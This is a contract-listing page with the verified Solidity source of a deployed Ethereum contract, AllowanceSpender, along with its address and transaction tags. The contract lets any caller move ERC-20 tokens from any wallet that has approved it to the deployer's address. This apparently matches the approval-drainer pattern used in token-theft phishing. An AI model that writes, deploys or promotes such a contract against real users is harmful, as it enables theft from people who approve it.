AllowanceSpender

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
// nice dgrd
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
}

contract AllowanceSpender {
    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    event Spent(address token, address from, uint amount);

    function spendAllowance(address tokenAddress, address from, uint amount) external {
        IERC20 token = IERC20(tokenAddress);

        uint allowed = token.allowance(from, address(this));
        require(allowed >= amount, "Not enough allowance");

        bool success = token.transferFrom(from, owner, amount);
        require(success, "transferFrom failed");

        emit Spent(tokenAddress, from, amount);
    }
}

Tags:
addr:0x9ec4144b961792289ad04aa054c02a2a41e90c37|verified:true|block:23637297|tx:0xf14cb8db6da13226c7ea693c66a821e7a5f0d8c7844532e1a082cb5edd791c52|first_check:1761299395

Submitted on: 2025-10-24 11:49:58

Comments

Log in to comment.

No comments yet.